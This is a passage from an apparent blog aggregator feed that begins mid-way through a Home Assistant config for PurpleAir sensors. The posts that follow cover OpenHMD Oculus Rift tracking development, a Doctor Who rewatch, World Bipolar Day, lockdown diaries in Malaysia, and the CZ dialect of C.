               Good
             {% else %}
               undefined
             {% endif %}
           entity_id: sensor.purpleair
         purpleair_pm25:
           unique_id: 'purpleair_SENSORID_pm25'
           friendly_name: 'PurpleAir PM 2.5'
           value_template: "{{ state_attr('sensor.purpleair','results')[0]['PM2_5Value'] }}"
           unit_of_measurement: "μg/m3"
           entity_id: sensor.purpleair
         purpleair_temp:
           unique_id: 'purpleair_SENSORID_temperature'
           friendly_name: 'PurpleAir Temperature'
           value_template: "{{ state_attr('sensor.purpleair','results')[0]['temp_f'] }}"
           unit_of_measurement: "°F"
           entity_id: sensor.purpleair
         purpleair_humidity:
           unique_id: 'purpleair_SENSORID_humidity'
           friendly_name: 'PurpleAir Humidity'
           value_template: "{{ state_attr('sensor.purpleair','results')[0]['humidity'] }}"
           unit_of_measurement: "%"
           entity_id: sensor.purpleair
         purpleair_pressure:
           unique_id: 'purpleair_SENSORID_pressure'
           friendly_name: 'PurpleAir Pressure'
           value_template: "{{ state_attr('sensor.purpleair','results')[0]['pressure'] }}"
           unit_of_measurement: "hPa"
           entity_id: sensor.purpleair
    
    

    Quirks

    I had difficulty getting the AQI to display as a numeric graph when I didn’t set a unit. I went with bit, and that worked just fine. 🤷�♂�

    Monday, 17 May 2021

    Stewart SmithAn Unearthly Child

    So, this idea has been brewing for a while now… try and watch all of Doctor Who. All of it. All 38 seasons. Today(ish), we started. First up, from 1963 (first aired not quite when intended due to the Kennedy assassination): An Unearthly Child. The first episode of the first serial.

    A lot of iconic things are there from the start: the music, the Police Box, embarrassing moments of not quite remembering what time one is in, and normal humans accidentally finding their way into the TARDIS.

    I first saw this way back when a child, where they were repeated on ABC TV in Australia for some anniversary of Doctor Who (I forget which one). Well, I saw all but the first episode as the train home was delayed and stopped outside Caulfield for no reason for ages. Some things never change.

    Of course, being a show from the early 1960s, there’s some rougher spots. We’re not about to have the picture of diversity, and there’s going to be casual racism and sexism. What will be interesting is noticing these things today, and contrasting with my memory of them at the time (at least for episodes I’ve seen before), and what I know of the attitudes of the time.

    “This year-ometer is not calculating properly” is a very 2020 line though (technically from the second episode).

    Monday, 12 April 2021

    Jan SchmidtRift CV1 – Getting close now…

    It’s been a while since my last post about tracking support for the Oculus Rift in February. There’s been big improvements since then – working really well a lot of the time. It’s gone from “If I don’t make any sudden moves, I can finish an easy Beat Saber level” to “You can’t hide from me!” quality.

    Equally, there are still enough glitches and corner cases that I think I’ll still be at this a while.

    Here’s a video from 3 weeks ago of (not me) playing Beat Saber on Expert+ setting showing just how good things can be now:

    Beat Saber – Skunkynator playing Expert+, Mar 16 2021

    Strap in. Here’s what I’ve worked on in the last 6 weeks:

    Pose Matching improvements

    Most of the biggest improvements have come from improving the computer vision algorithm that’s matching the observed LEDs (blobs) in the camera frames to the 3D models of the devices.

    I split the brute-force search algorithm into 2 phases. It now does a first pass looking for ‘obvious’ matches. In that pass, it does a shallow graph search of blobs and their nearest few neighbours against LEDs and their nearest neighbours, looking for a match using a “Strong” match metric. A match is considered strong if expected LEDs match observed blobs to within 1.5 pixels.

    Coupled with checks on the expected orientation (matching the Gravity vector detected by the IMU) and the pose prior (expected position and orientation are within predicted error bounds) this short-circuit on the search is hit a lot of the time, and often completes within 1 frame duration.

    In the remaining tricky cases, where a deeper graph search is required in order to recover the pose, the initial search reduces the number of LEDs and blobs under consideration, speeding up the remaining search.

    I also added an LED size model to the mix – for a candidate pose, it tries to work out how large (in pixels) each LED should appear, and use that as a bound on matching blobs to LEDs. This helps reduce mismatches as devices move further from the camera.

    LED labelling

    When a brute-force search for pose recovery completes, the system now knows the identity of various blobs in the camera image. One way it avoids a search next time is to transfer the labels into future camera observations using optical-flow tracking on the visible blobs.

    The problem is that even sped-up the search can still take a few frame-durations to complete. Previously LED labels would be transferred from frame to frame as they arrived, but there’s now a unique ID associated with each blob that allows the labels to be transferred even several frames later once their identity is known.

    IMU Gyro scale

    One of the problems with reverse engineering is the guesswork around exactly what different values mean. I was looking into why the controller movement felt “swimmy” under fast motions, and one thing I found was that the interpretation of the gyroscope readings from the IMU was incorrect.

    The touch controllers report IMU angular velocity readings directly as a 16-bit signed integer. Previously the code would take the reading and divide by 1024 and use the value as radians/second.

    From teardowns of the controller, I know the IMU is an Invensense MPU-6500. From the datasheet, the reported value is actually in degrees per second and appears to be configured for the +/- 2000 °/s range. That yields a calculation of Gyro-rad/s = Gyro-°/s * (2000 / 32768) * (?/180) – or a divisor of 938.734.

    The 1024 divisor was under-estimating rotation speed by about 10% – close enough to work until you start moving quickly.

    Limited interpolation

    If we don’t find a device in the camera views, the fusion filter predicts motion using the IMU readings – but that quickly becomes inaccurate. In the worst case, the controllers fly off into the distance. To avoid that, I added a limit of 500ms for ‘coasting’. If we haven’t recovered the device pose by then, the position is frozen in place and only rotation is updated until the cameras find it again.

    Exponential filtering

    I implemented a 1-Euro exponential smoothing filter on the output poses for each device. This is an idea from the Project Esky driver for Project North Star/Deck-X AR headsets, and almost completely eliminates jitter in the headset view and hand controllers shown to the user. The tradeoff is against introducing lag when the user moves quickly – but there are some tunables in the exponential filter to play with for minimising that. For now I’ve picked some values that seem to work reasonably.

    Non-blocking radio

    Communications with the touch controllers happens through USB radio command packets sent to the headset. The main use of radio commands in OpenHMD is to read the JSON configuration block for each controller that is programmed in at the factory. The configuration block provides the 3D model of LED positions as well as initial IMU bias values.

    Unfortunately, reading the configuration block takes a couple of seconds on startup, and blocks everything while it’s happening. Oculus saw that problem and added a checksum in the controller firmware. You can read the checksum first and if it hasn’t changed use a local cache of the configuration block. Eventually, I’ll implement that caching mechanism for OpenHMD but in the meantime it still reads the configuration blocks on each startup.

    As an interim improvement I rewrote the radio communication logic to use a state machine that is checked in the update loop – allowing radio communications to be interleaved without blocking the regularly processing of events. It still interferes a bit, but no longer causes a full multi-second stall as each hand controller turns on.

    Haptic feedback

    The hand controllers have haptic feedback ‘rumble’ motors that really add to the immersiveness of VR by letting you sense collisions with objects. Until now, OpenHMD hasn’t had any support for applications to trigger haptic events. I spent a bit of time looking at USB packet traces with Philipp Zabel and we figured out the radio commands to turn the rumble motors on and off.

    In the Rift CV1, the haptic motors have a mode where you schedule feedback events into a ringbuffer – effectively they operate like a low frequency audio device. However, that mode was removed for the Rift S (and presumably in the Quest devices) – and deprecated for the CV1.

    With that in mind, I aimed for implementing the unbuffered mode, with explicit ‘motor on + frequency + amplitude’ and ‘motor off’ commands sent as needed. Thanks to already having rewritten the radio communications to use a state machine, adding haptic commands was fairly easy.

    The big question mark is around what API OpenHMD should provide for haptic feedback. I’ve implemented something simple for now, to get some discussion going. It works really well and adds hugely to the experience. That code is in the https://github.com/thaytan/OpenHMD/tree/rift-haptics branch, with a SteamVR-OpenHMD branch that uses it in https://github.com/thaytan/SteamVR-OpenHMD/tree/controller-haptics-wip

    Problem areas

    Unexpected tracking losses

    I’d say the biggest problem right now is unexpected tracking loss and incorrect pose extractions when I’m not expecting them. Especially my right controller will suddenly glitch and start jumping around. Looking at a video of the debug feed, it’s not obvious why that’s happening:

    To fix cases like those, I plan to add code to log the raw video feed and the IMU information together so that I can replay the video analysis frame-by-frame and investigate glitches systematically. Those recordings will also work as a regression suite to test future changes.

    Sensor fusion efficiency

    The Kalman filter I have implemented works really nicely – it does the latency compensation, predicts motion and extracts sensor biases all in one place… but it has a big downside of being quite expensive in CPU. The Unscented Kalman Filter CPU cost grows at O(n^3) with the size of the state, and the state in this case is 43 dimensional – 22 base dimensions, and 7 per latency-compensation slot. Running 1000 updates per second for the HMD and 500 for each of the hand controllers adds up quickly.

    At some point, I want to find a better / cheaper approach to the problem that still provides low-latency motion predictions for the user while still providing the same benefits around latency compensation and bias extraction.

    Lens Distortion

    To generate a convincing illusion of objects at a distance in a headset that’s only a few centimetres deep, VR headsets use some interesting optics. The LCD/OLED panels displaying the output get distorted heavily before they hit the users eyes. What the software generates needs to compensate by applying the right inverse distortion to the output video.

    Everyone that tests the CV1 notices that the distortion is not quite correct. As you look around, the world warps and shifts annoyingly. Sooner or later that needs fixing. That’s done by taking photos of calibration patterns through the headset lenses and generating a distortion model.

    Camera / USB failures

    The camera feeds are captured using a custom user-space UVC driver implementation that knows how to set up the special synchronisation settings of the CV1 and DK2 cameras, and then repeatedly schedules isochronous USB packet transfers to receive the video.

    Occasionally, some people experience failure to re-schedule those transfers. The kernel rejects them with an out-of-memory error failing to set aside DMA memory (even though it may have been running fine for quite some time). It’s not clear why that happens – but the end result at the moment is that the USB traffic for that camera dies completely and there’ll be no more tracking from that camera until the application is restarted.

    Often once it starts happening, it will keep happening until the PC is rebooted and the kernel memory state is reset.

    Occluded cases

    Tracking generally works well when the cameras get a clear shot of each device, but there are cases like sighting down the barrel of a gun where we expect that the user will line up the controllers in front of one another, and in front of the headset. In that case, even though we probably have a good idea where each device is, it can be hard to figure out which LEDs belong to which device.

    If we already have a good tracking lock on the devices, I think it should be possible to keep tracking even down to 1 or 2 LEDs being visible – but the pose assessment code will have to be aware that’s what is happening.

    Upstreaming

    April 14th marks 2 years since I first branched off OpenHMD master to start working on CV1 tracking. How hard can it be, I thought? I’ll knock this over in a few months.

    Since then I’ve accumulated over 300 commits on top of OpenHMD master that eventually all need upstreaming in some way.

    One thing people have expressed as a prerequisite for upstreaming is to try and remove the OpenCV dependency. The tracking relies on OpenCV to do camera distortion calculations, and for their PnP implementation. It should be possible to reimplement both of those directly in OpenHMD with a bit of work – possibly using the fast LambdaTwist P3P algorithm that Philipp Zabel wrote, that I’m already using for pose extraction in the brute-force search.

    Others

    I’ve picked the top issues to highlight here. https://github.com/thaytan/OpenHMD/issues has a list of all the other things that are still on the radar for fixing eventually.

    Other Headsets

    At some point soon, I plan to put a pin in the CV1 tracking and look at adapting it to more recent inside-out headsets like the Rift S and WMR headsets. I implemented 3DOF support for the Rift S last year, but getting to full positional tracking for that and other inside-out headsets means implementing a SLAM/VIO tracking algorithm to track the headset position.

    Once the headset is tracking, the code I’m developing here for CV1 to find and track controllers will hopefully transfer across – the difference with inside-out tracking is that the cameras move around with the headset. Finding the controllers in the actual video feed should work much the same.

    Sponsorship

    This development happens mostly in my spare time and partly as open source contribution time at work at Centricular. I am accepting funding through Github Sponsorships to help me spend more time on it – I’d really like to keep helping Linux have top-notch support for VR/AR applications. Big thanks to the people that have helped get this far.

    Tuesday, 30 March 2021

    BlueHackersWorld bipolar day 2021

    Today, 30 March, is World Bipolar Day.

    Vincent van Gogh - Worn Out

    Why that particular date? It’s Vincent van Gogh’s birthday (1853), and there is a fairly strong argument that the Dutch painter suffered from bipolar (among other things).

    The image on the side is Vincent’s drawing “Worn Out” (from 1882), and it seems to capture the feeling rather well – whether (hypo)manic, depressed, or mixed. It’s exhausting.

    Bipolar is complicated, often undiagnosed or misdiagnosed, and when only treated with anti-depressants, it can trigger the (hypo)mania – essentially dragging that person into that state near-permanently.

    Have you heard of Bipolar II?

    Hypo-mania is the “lesser” form of mania that distinguishes Bipolar I (the classic “manic depressive” syndrome) from Bipolar II. It’s “lesser” only in the sense that rather than someone going so hyper they may think they can fly (Bipolar I is often identified when someone in manic state gets admitted to hospital – good catch!) while with Bipolar II the hypo-mania may actually exhibit as anger. Anger in general, against nothing in particular but potentially everyone and everything around them. Or, if it’s a mixed episode, anger combined with strong negative thoughts. Either way, it does not look like classic mania. It is, however, exhausting and can be very debilitating.

    Bipolar II people often present to a doctor while in depressed state, and GPs (not being psychiatrists) may not do a full diagnosis. Note that D.A.S. and similar test sheets are screening tools, they are not diagnostic. A proper diagnosis is more complex than filling in a form some questions (who would have thought!)

    Call to action

    If you have a diagnosis of depression, only from a GP, and are on medication for this, I would strongly recommend you also get a referral to a psychiatrist to confirm that diagnosis.

    Our friends at the awesome Black Dog Institute have excellent information on bipolar, as well as a quick self-test – if that shows some likelihood of bipolar, go get that referral and follow up ASAP.

    I will be writing more about the topic in the coming time.

    The post World bipolar day 2021 first appeared on BlueHackers.org.

    Monday, 22 February 2021

    Dave HallParameter Store vs Secrets Manager

    Which AWS managed service is best for storing and managing your secrets?

    Friday, 12 February 2021

    Dave HallA Lost Parcel Results in a New Website

    When Australia Post lost a parcel, we found a lot of problems with one of their websites.

    Thursday, 4 February 2021

    Jan SchmidtRift CV1 – Testing SteamVR

    Update:

    This post documented an older method of building SteamVR-OpenHMD. I moved them to a page here. That version will be kept up to date for any future changes, so go there.


    I’ve had a few people ask how to test my OpenHMD development branch of Rift CV1 positional tracking in SteamVR. Here’s what I do:

    • Make sure Steam + SteamVR are already installed.
    • Clone the SteamVR-OpenHMD repository:
    git clone --recursive https://github.com/ChristophHaag/SteamVR-OpenHMD.git
    • Switch the internal copy of OpenHMD to the right branch:
    cd subprojects/openhmd
    git remote add thaytan-github https://github.com/thaytan/OpenHMD.git
    git fetch thaytan-github
    git checkout -b rift-kalman-filter thaytan-github/rift-kalman-filter
    cd ../../
    • Use meson to build and register the SteamVR-OpenHMD binaries. You may need to install meson first (see below):
    meson -Dbuildtype=release build
    ninja -C build
    ./install_files_to_build.sh
    ./register.sh
    • It is important to configure in release mode, as the kalman filtering code is generally too slow for real-time in debug mode (it has to run 2000 times per second)
    • Make sure your USB devices are accessible to your user account by configuring udev. See the OpenHMD guide here: https://github.com/OpenHMD/OpenHMD/wiki/Udev-rules-list
    • Please note – only Rift sensors on USB 3.0 ports will work right now. Supporting cameras on USB 2.0 requires someone implementing JPEG format streaming and decoding.
    • It can be helpful to test OpenHMD is working by running the simple example. Check that it’s finding camera sensors at startup, and that the position seems to change when you move the headset:
    ./build/subprojects/openhmd/openhmd_simple_example
    • Calibrate your expectations for how well tracking is working right now! Hint: It’s very experimental 🙂
    • Start SteamVR. Hopefully it should detect your headset and the light(s) on your Rift Sensor(s) should power on.

    Meson

    I prefer the Meson build system here. There’s also a cmake build for SteamVR-OpenHMD you can use instead, but I haven’t tested it in a while and it sometimes breaks as I work on my development branch.

    If you need to install meson, there are instructions here – https://mesonbuild.com/Getting-meson.html summarising the various methods.

    I use a copy in my home directory, but you need to make sure ~/.local/bin is in your PATH

    pip3 install --user meson

    Sunday, 31 January 2021

    Jan SchmidtRift CV1 – Pose rejection

    I spent some time this weekend implementing a couple of my ideas for improving the way the tracking code in OpenHMD filters and rejects (or accepts) possible poses when trying to match visible LEDs to the 3D models for each device.

    In general, the tracking proceeds in several steps (in parallel for each of the 3 devices being tracked):

    1. Do a brute-force search to match LEDs to 3D models, then (if matched)
      1. Assign labels to each LED blob in the video frame saying what LED they are.
      2. Send an update to the fusion filter about the position / orientation of the device
    2. Then, as each video frame arrives:
      1. Use motion flow between video frames to track the movement of each visible LED
      2. Use the IMU + vision fusion filter to predict the position/orientation (pose) of each device, and calculate which LEDs are expected to be visible and where.
    3. Try and match up and refine the poses using the predicted pose prior and labelled LEDs. In the best case, the LEDs are exactly where the fusion predicts they’ll be. More often, the orientation is mostly correct, but the position has drifted and needs correcting. In the worst case, we send the frame back to step 1 and do a brute-force search to reacquire an object.

    The goal is to always assign the correct LEDs to the correct device (so you don’t end up with the right controller in your left hand), and to avoid going back to the expensive brute-force search to re-acquire devices as much as possible

    What I’ve been working on this week is steps 1 and 3 – initial acquisition of correct poses, and fast validation / refinement of the pose in each video frame, and I’ve implemented two new strategies for that.

    Gravity Vector matching

    The first new strategy is to reject candidate poses that don’t closely match the known direction of gravity for each device. I had a previous implementation of that idea which turned out to be wrong, so I’ve re-worked it and it helps a lot with device acquisition.

    The IMU accelerometer and gyro can usually tell us which way up the device is (roll and pitch) but not which way they are facing (yaw). The measure for ‘known gravity’ comes from the fusion Kalman filter covariance matrix – how certain the filter is about the orientation of the device. If that variance is small this new strategy is used to reject possible poses that don’t have the same idea of gravity (while permitting rotations around the Y axis), with the filter variance as a tolerance.

    Partial tracking matches

    The 2nd strategy is based around tracking with fewer LED correspondences once a tracking lock is acquired. Initial acquisition of the device pose relies on some heuristics for how many LEDs must match the 3D model. The general heuristic threshold I settled on for now is that 2/3rds of the expected LEDs must be visible to acquire a cold lock.

    With the new strategy, if the pose prior has a good idea where the device is and which way it’s facing, it allows matching on far fewer LED correspondences. The idea is to keep tracking a device even down to just a couple of LEDs, and hope that more become visible soon.

    While this definitely seems to help, I think the approach can use more work.

    Status

    With these two new approaches, tracking is improved but still quite erratic. Tracking of the headset itself is quite good now and for me rarely loses tracking lock. The controllers are better, but have a tendency to “fly off my hands” unexpectedly, especially after fast motions.

    I have ideas for more tracking heuristics to implement, and I expect a continuous cycle of refinement on the existing strategies and new ones for some time to come.

    For now, here’s a video of me playing Beat Saber using tonight’s code. The video shows the debug stream that OpenHMD can generate via Pipewire, showing the camera feed plus overlays of device predictions, LED device assignments and tracked device positions. Red is the headset, Green is the right controller, Blue is the left controller.

    Initial tracking is completely wrong – I see some things to fix there. When the controllers go offline due to inactivity, the code keeps trying to match LEDs to them for example, and then there are some things wrong with how it’s relabelling LEDs when they get incorrect assignments.

    After that, there are periods of good tracking with random tracking losses on the controllers – those show the problem cases to concentrate on.

    Saturday, 30 January 2021

    Colin CharlesLife with Rona 2.0 – Days 4, 5, 6, 7, 8 and 9

    These lack of updates are also likely because I’ve been quite caught up with stuff.

    Monday I had a steak from Bay Leaf Steakhouse for dinner. It was kind of weird eating it from packs, but then I’m reminded you could do this in economy class. Tuesday I wanted to attempt to go vegetarian and by the time I was done with a workout, the only place was a chap fan shop (Leong Heng) where I had a mixture of Chinese and Indian chap fan. The Indian stall is run by an ex-Hyatt staff member who immediately recognised me! Wednesday, Alice came to visit, so we got to Hanks, got some alcohol, and managed a smorgasbord of food from Pickers/Sate Zul/Lila Wadi. Night ended very late, and on Thursday, visited Hai Tian for their famous salted egg squid and prawns in a coconut shell. Friday was back to being normal, so I grabbed a pizza from Mint Pizza (this time I tried their Aussie variant). Saturday, today, I hit up Rasa Sayang for some matcha latte, but grabbed food from Classic Pilot Cafe, which Faeeza owns! It was the famous salted egg chicken, double portion, half rice.

    As for workouts, I did sign up for Mantas but found it pretty hard to do, timezone wise. I did spend a lot of time jogging on the beach (this has been almost a daily affair). Monday I also did 2 MD workouts, Tuesday 1 MD workout, Wednesday half a MD workout, Thursday I did a Ping workout at Pwrhouse (so good!), Friday 1 MD workout, and Saturday an Audrey workout at Pwrhouse and 1 MD workout.

    Wednesday I also found out that Rasmus passed away. Frankly, there are no words.

    Thursday, my Raspberry Pi 400 arrived. I set it up in under ten minutes, connecting it to the TV here. It “just works”. I made a video, which I should probably figure out how to upload to YouTube after I stitch it together. I have to work on using it a lot more.

    COVID-19 cases are through the roof in Malaysia. This weekend we’ve seen two days of case breaking records, with today being 5,728 (yesterday was something close). Nutty. Singapore suspended the reciprocal green lane (RGL) agreement with Malaysia for the next 3 months.

    I’ve managed to finish Bridgerton. I like the score. Finding something on Netflix is proving to be more difficult, regardless of having a VPN. Honestly, this is why Cable TV wins… linear programming that you’re just fed.

    Stock market wise, I’ve been following the GameStop short squeeze, and even funnier is the Top Glove one, that they’re trying to repeat in Malaysia. Bitcoin seems to be doing “reasonably well” and I have to say, I think people are starting to realise decentralised services have a future. How do we get there?

    What an interesting week, I look forward to more productive time. I’m still writing in my Hobonichi Techo, so at least that’s where most personal stuff ends up, I guess?

    Tuesday, 26 January 2021

    Jan SchmidtHitting a milestone – Beat Saber!

    I hit an important OpenHMD milestone tonight – I completed a Beat Saber level using my Oculus Rift CV1!

    I’ve been continuing to work on integrating Kalman filtering into OpenHMD, and on improving the computer vision that matches and tracks device LEDs. While I suspect noone will be completing Expert levels just yet, it’s working well enough that I was able to play through a complete level of Beat Saber. For a long time this has been my mental benchmark for tracking performance, and I’m really happy 🙂

    Check it out:

    I should admit at this point that completing this level took me multiple attempts. The tracking still has quite a tendency to lose track of controllers, or to get them confused and swap hands suddenly.

    I have a list of more things to work on. See you at the next update!

    Sunday, 24 January 2021

    Colin CharlesLife with Rona 2.0 – Day 3

    What an unplanned day. I woke up in time to do an MD workout, despite feeling a little sore. So maybe I was about 10 minutes late and I missed the first set, but his workouts are so long, and I think there were seven sets anyway. Had a good brunch shortly thereafter.

    Did a bit of reading, and then I decided to do a beach boardwalk walk… turns out they were policing the place, and you can’t hit the boardwalk. But the beach is fair game? So I went back to the hotel, dropped off my slippers, and went for a beach jog. Pretty nutty.

    Came back to read a little more and figured I might as well do another MD workout. Then I headed out for dinner, trying out a new place — Mint Pizza. Opened 20.12.2020, and they’re empty, and their pizza is actually pretty good. Lamb and BBQ chicken, they did half-and-half.

    Twitter was discussing Raspberry Pi’s, and all I could see is a lot of misinformation, which is truly shocking. The irony is that open source has been running the Internet for so long, and progressive web apps have come such a long way…

    Back in the day when I did OpenOffice.org or Linux training even, we always did say you should learn concepts and not tools. From the time we ran Linux installfests in the late-90s in Sunway Pyramid (back then, yes, Linux was hard, and you had winmodems), but I had forgotten that I even did stuff for school teachers and NGOs back in 2002… I won’t forget PC Gemilang either…

    Anyway, I placed an order again for another Raspberry Pi 400. I am certain that most people talk so much crap, without realising that Malaysia isn’t a developed nation and most people can’t afford a Mac let alone a PC. Laptops aren’t cheap. And there are so many other issues…. Saying Windows is still required in 2021 is the nuttiest thing I’ve heard in a long time. Easy to tweet, much harder to think about TCO, and realise where in the journey Malaysia is.

    Maybe the best thing was that Malaysian Twitter learned about technology. I doubt many realised the difference between a Pi board vs the 400, but hey, the fact that they talked about tech is still a win (misinformed, but a win).

    Saturday, 23 January 2021

    Colin CharlesLife with Rona 2.0 – Days 1 & 2

    Today is the first day that in the state of Pahang, we have to encounter what many Malaysians are referring to as the Movement Control Order 2.0 (MCO 2.0). I think everyone finally agrees with the terminology that this is a lockdown now, because I remember back in the day when I was calling it that, I’d definitely offend a handful of journalists.

    This is one interesting change for me compared to when I last wrote Life with RonaDay 56 of being indoors and not even leaving my household, in Kuala Lumpur. I am now not in the state, I am living in a hotel, and I am obviously moving around a little more since we have access to the beach.

    KL/Selangor and several other states have already been under the MCO 2.0 since January 13 2021, and while it was supposed to end on January 26, it seems like they’ve extended and harmonised the dates for Peninsular Malaysia to end on February 4 2021. I guess everyone got the “good news” yesterday. The Prime Minister announced some kind of aid last week, but it is still mostly a joke.

    Today was the 2nd day I woke up at around 2.30pm because I went to bed at around 8am. First day I had a 23.5 hour uptime, and the today was less brutal, but working from 1-8am with the PST timezone is pretty brutal. Consequently, I barely got too much done, and had one meal, vegetarian, two packs that included rice. I did get to walk by the beach (between Teluk Cempedak and Teluk Cempedak 2), did quite a bit of exercise there and I think even the monkeys are getting hungry… lots of stray cats and monkeys. Starbucks closes at 7pm, and I rocked up at 7.10pm (this was just like yesterday, when I arrived at 9.55pm and was told they wouldn’t grant me a coffee!).

    While writing this entry, I did manage to get into a long video call with some friends and I guess it was good catching up with people in various states. It also is what prevented me from publishing this entry!

    Day 2

    I did wake up reasonable early today because I had pre-ordered room service to arrive at 9am. There is a fixed menu at the hotel for various cuisines (RM48/pax, thankfully gratis for me) and I told them I prefer not having to waste, so just give me what I want which is off menu items anyway. Roti telur double telur (yes, I know it is a roti jantan) with some banjir dhal and sambal and a bit of fruit on the side with two teh tariks. They delivered as requested. I did forget to ask for a jar of honey but that is OK, there is always tomorrow.

    I spent most of the day vacillating, and wouldn’t consider it productive by any measure. Just chit chats and napping. It did rain today after a long time, so the day seemed fairly dreary.

    When I finally did awaken from my nap, I went for a run on the beach. I did it barefoot. I have no idea if this is how it is supposed to be done, or if you are to run nearer the water or further up above, but I did move around between the two quite often. The beach is still pretty dead, but it is expected since no one is allowed to go unless you’re a hotel guest.

    The hotel has closed 3/4 of their villages (blocks) and moved everyone to the village I’m staying in (for long stay guests…). I’m thankful I have a pretty large suite, it is a little over 980sqft, and the ample space, while smaller than my home, is still welcome.

    Post beach run, I did a workout with MD via Instagram. It was strength/HIIT based, and I burnt a tonne, because he gave us one of his signature 1.5h classes. It was longer than the 80 minute class he normally charges RM50 for (I still think this is undervaluing his service, but he really does care and does it for the love of seeing his students grow!).

    Post-workout I decided to head downtown to find some dinner. Everything at the Teluk Cemepdak block of shops was closed, so they’re not even bothered with doing takeaway. Sg. Lembing steakhouse seemed to have cars parked, Vanggey was empty (Crocodile Rock was open, can’t say if there was a crowd, because the shared parking lot was empty), there was a modest queue at Sate Zul, and further down, Lena was closed, Pickers was open for takeaway but looked pretty closed, Tjantek was open surprisingly, and then I thought I’d give Nusantara a try again, this time for food, but their chef had just gone home at about 8pm. Oops. So I drove to LAN burger, initially ordering just one chicken double special; however they looked like they could use the business so I added on a beef double special. They now accept Boost payments so have joined the e-wallet era. One less place to use cash, which is also why I really like Kuantan. On the drive back, Classic Pilot Cafe was also open and I guess I’ll be heading there too during this lockdown.

    Came back to the room to finish both burgers in probably under 15 minutes. While watching the first episode of Bridgerton on Netflix. I’m not sure what really captivates, but I will continue on (I still haven’t finished the first episode). I need to figure out how to use the 2 TVs that I have in this room — HDMI cable? Apple TV? Not normally using a TV, all this is clearly more complex than I care to admit.

    I soaked longer than expected, ended up a prune, but I’m sure it will give me good rest!

    One thought to leave with:

    “Learn to enjoy every minute of your life. Be happy now. Don’t wait for something outside of yourself to make you happy in the future.” — Earl Nightingale

    Thursday, 21 January 2021

    Sam WatkinsDeveloping CZ, a dialect of C that looks like Python

    In my experience, the C programming language is still hard to beat, even 50 years after it was first developed (and I feel the same way about UNIX). When it comes to general-purpose utility, low-level systems programming, performance, and portability (even to tiny embedded systems), I would choose C over most modern or fashionable alternatives. In some cases, it is almost the only choice.

    Many developers believe that it is difficult to write secure and reliable software in C, due to its free pointers, the lack of enforced memory integrity, and the lack of automatic memory management; however in my opinion it is possible to overcome these risks with discipline and a more secure system of libraries constructed on top of C and libc. Daniel J. Bernstein and Wietse Venema are two developers who have been able to write highly secure, stable, reliable software in C.

    My other favourite language is Python. Although Python has numerous desirable features, my favourite is the light-weight syntax: in Python, block structure is indicated by indentation, and braces and semicolons are not required. Apart from the pleasure and relief of reading and writing such light and clear code, which almost appears to be executable pseudo-code, there are many other benefits. In C or JavaScript, if you omit a trailing brace somewhere in the code, or insert an extra brace somewhere, the compiler may tell you that there is a syntax error at the end of the file. These errors can be annoying to track down, and cannot occur in Python. Python not only looks better, the clear syntax helps to avoid errors.

    The obvious disadvantage of Python, and other dynamic interpreted languages, is that most programs run extremely slower than C programs. This limits the scope and generality of Python. No AAA or performance-oriented video game engines are programmed in Python. The language is not suitable for low-level systems programming, such as operating system development, device drivers, filesystems, performance-critical networking servers, or real-time systems.

    C is a great all-purpose language, but the code is uglier than Python code. Once upon a time, when I was experimenting with the Plan 9 operating system (which is built on C, but lacks Python), I missed Python’s syntax, so I decided to do something about it and write a little preprocessor for C. This converts from a “Pythonesque” indented syntax to regular C with the braces and semicolons. Having forked a little dialect of my own, I continued from there adding other modules and features (which might have been a mistake, but it has been fun and rewarding).

    At first I called this translator Brace, because it added in the braces for me. I now call the language CZ. It sounds like “C-easy”. Ease-of-use for developers (DX) is the primary goal. CZ has all of the features of C, and translates cleanly into C, which is then compiled to machine code as normal (using any C compiler; I didn’t write one); and so CZ has the same features and performance as C, but enjoys a more pleasing syntax.

    CZ is now self-hosted, in that the translator is written in the language CZ. I confess that originally I wrote most of it in Perl; I’m proficient at Perl, but I consider it to be a fairly ugly language, and overly complicated.

    I intend for CZ’s new syntax to be “optional”, ideally a developer will be able to choose to use the normal C syntax when editing CZ, if they prefer it. For this, I need a tool to convert C back to CZ, which I have not fully implemented yet. I am aware that, in addition to traditionalists, some vision-impaired developers prefer to use braces and semicolons, as screen readers might not clearly indicate indentation. A C to CZ translator would of course also be valuable when porting an existing C program to CZ.

    CZ has a number of useful features that are not found in standard C, but I did not go so far as C++, which language has been described as “an octopus made by nailing extra legs onto a dog”. I do not consider C to be a dog, at least not in a negative sense; but I think that C++ is not an improvement over plain C. I am creating CZ because I think that it is possible to improve on C, without losing any of its advantages or making it too complex.

    One of the most interesting features I added is a simple syntax for fast, light coroutines. I based this on Simon Tatham’s approach to Coroutines in C, which may seem hacky at first glance, but is very efficient and can work very well in practice. I implemented a very fast web server with very clean code using these coroutines. The cost of switching coroutines with this method is little more than the cost of a function call.

    CZ has hygienic macros. The regular cpp (C preprocessor) macros are not hygenic and many people consider them hacky and unsafe to use. My CZ macros are safe, and somewhat more powerful than standard C macros. They can be used to neatly add new program control structures. I have plans to further develop the macro system in interesting ways.

    I added automatic prototype and header generation, as I do not like having to repeat myself when copying prototypes to separate header files. I added support for the UNIX #! scripting syntax, and for cached executables, which means that CZ can be used like a scripting language without having to use a separate compile or make command, but the programs are only recompiled when something has been changed.

    For CZ, I invented a neat approach to portability without conditional compilation directives. Platform-specific library fragments are automatically included from directories having the name of that platform or platform-category. This can work very well in practice, and helps to avoid the nightmare of conditional compilation, feature detection, and Autotools. Using this method, I was able easily to implement portable interfaces to features such as asynchronous IO multiplexing (aka select / poll).

    The CZ library includes flexible error handling wrappers, inspired by W. Richard Stevens’ wrappers in his books on Unix Network Programming. If these wrappers are used, there is no need to check return values for error codes, and this makes the code much safer, as an error cannot accidentally be ignored.

    CZ has several major faults, which I intend to correct at some point. Some of the syntax is poorly thought out, and I need to revisit it. I developed a fairly rich library to go with the language, including safer data structures, IO, networking, graphics, and sound. There are many nice features, but my CZ library is more prototype than a finished product, there are major omissions, and some features are misconceived or poorly implemented. The misfeatures should be weeded out for the time-being, or moved to an experimental section of the library.

    I think that a good software library should come in two parts, the essential low-level APIs with the minimum necessary functionality, and a rich set of high-level convenience functions built on top of the minimal API. I need to clearly separate these two parts in order to avoid polluting the namespaces with all sorts of nonsense!

